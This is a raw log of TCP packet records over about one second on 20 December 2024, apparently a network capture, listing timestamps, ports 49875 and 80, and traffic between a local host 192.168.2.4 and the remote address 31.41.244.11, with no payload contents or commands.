Dec 20, 2024 04:12:47.752249002 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.753293037 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.753338099 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.753453970 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.753496885 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.754395008 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.754441023 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.754470110 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.754513979 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.755479097 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.755523920 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.755578041 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.755620003 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.756592989 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.756635904 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.756691933 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.756736040 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.757693052 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.757740021 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.757812023 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.757855892 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.758800030 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.758847952 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.758876085 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.758922100 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.759897947 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.759952068 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.760010958 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.760055065 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.761023998 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.761075020 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.761126041 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.761171103 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.762110949 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.762156010 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.762157917 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.762198925 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.763242960 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.763288975 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.763350964 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.763396978 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.764318943 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.764363050 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.764425039 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.764467001 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.765448093 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.765491009 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.765558958 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.765598059 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.766551971 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.766598940 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.766657114 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.766700983 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.767679930 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.767721891 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.767803907 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.767849922 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.768749952 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.768791914 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.768848896 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.768892050 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.769853115 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.769896030 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.769961119 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.770003080 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.771038055 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.771069050 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.771080017 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.771101952 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.772068024 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.772109985 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.772185087 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.772222996 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.773183107 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.773225069 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.773282051 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.773324013 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.774322033 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.774363995 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.774389982 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.774426937 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.775401115 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.775446892 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.775506973 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.775544882 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.776474953 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.776520014 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.776575089 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.776614904 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.777594090 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.777640104 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.777707100 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.777748108 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.778719902 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.778778076 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.778835058 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.778876066 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.779834032 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.779886007 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.779918909 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.779961109 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.780930996 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.780975103 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.781045914 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.781089067 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.782037020 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.782083988 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.782135010 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.782177925 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.783139944 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.783184052 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.783348083 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.783391953 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.784223080 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.784262896 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.784338951 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.784379959 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.785355091 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.785403013 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.785451889 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.785494089 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.786454916 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.786499977 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.786571026 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.786613941 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.787565947 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.787607908 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.787635088 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.787672997 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.922585964 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.922662020 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.923130989 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.923141003 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.923187971 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.924160004 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.924581051 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.924597025 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.924618006 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.924745083 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.924787045 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.925685883 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.925724983 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.925796986 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.925834894 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.926814079 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.926856041 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.927043915 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.927084923 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.927946091 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.927988052 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.928263903 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.928307056 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.929044008 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.929085016 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.929238081 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.929277897 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.930124998 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.930171013 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.930241108 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.930279016 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.931214094 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.931258917 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.931320906 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.931360960 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.932331085 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.932374001 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.932437897 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.932476997 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.933481932 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.933523893 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.933599949 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.933641911 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.934539080 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.934581041 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.934710979 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.934750080 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.935641050 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.935720921 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.936752081 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.936799049 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.936858892 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.937911987 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.937963009 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.937997103 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.938005924 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.938981056 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.939023972 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.939075947 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.939115047 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.940047979 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.940089941 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.940152884 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.940192938 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.941183090 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.941222906 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.941246033 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.941279888 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.942310095 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.942351103 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.942428112 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.942466974 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.943407059 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.943447113 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.943515062 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.943557024 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.944500923 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.944545031 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.944598913 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.944638968 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.945599079 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.945640087 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.945703030 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.945744038 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.946707010 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.946748972 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.946820974 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.946861029 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.947839022 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.947880030 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.947977066 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.948019028 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.948935986 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.948977947 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.949053049 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.949095011 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.950027943 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.950068951 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.950150013 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.950191021 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.951154947 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.951278925 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.951332092 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.952245951 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.952292919 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.952351093 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.952392101 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.953336000 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.953373909 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.953722954 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.953763008 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.954477072 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.954519987 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.954588890 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.954626083 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.955563068 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.955602884 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.955666065 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.955704927 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.956672907 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.956713915 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.956823111 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.956864119 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.957787991 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.957830906 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.957889080 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.957930088 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.958905935 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.958949089 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.959006071 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.959062099 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.959986925 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.960031986 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.960095882 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.960138083 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.961121082 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.961163044 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.961193085 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.961230993 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.962208033 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.962260008 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.962327003 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.962368011 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.963310957 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.963356972 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.963416100 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.963455915 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.964407921 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.964452028 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.964525938 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.964565992 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.965527058 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.965569019 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.965665102 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.965706110 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.966617107 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.966656923 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.966731071 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.966769934 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.967720032 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.967854977 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.967896938 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.968842983 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.968908072 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.969939947 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.969985962 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.970047951 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.971062899 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.971117020 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.971174002 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.972151995 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.972207069 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.972240925 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.973261118 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.973301888 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.973361015 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.973977089 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.974365950 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.974498034 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.975472927 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.975517988 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.975578070 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.976583958 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.976685047 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.976727962 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.977682114 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.977794886 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.977837086 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.978811026 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.978936911 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.979893923 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.979940891 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.979967117 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.981992006 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.114666939 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.114768028 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.115111113 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.115197897 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.115302086 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.115331888 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.115377903 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.116307020 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.116353989 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.116420031 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.116461039 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.117441893 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.117567062 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.117588043 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.117605925 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:48.118563890 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:48.118607044 CET	49875	80	192.168.2.4	31.41.244.11
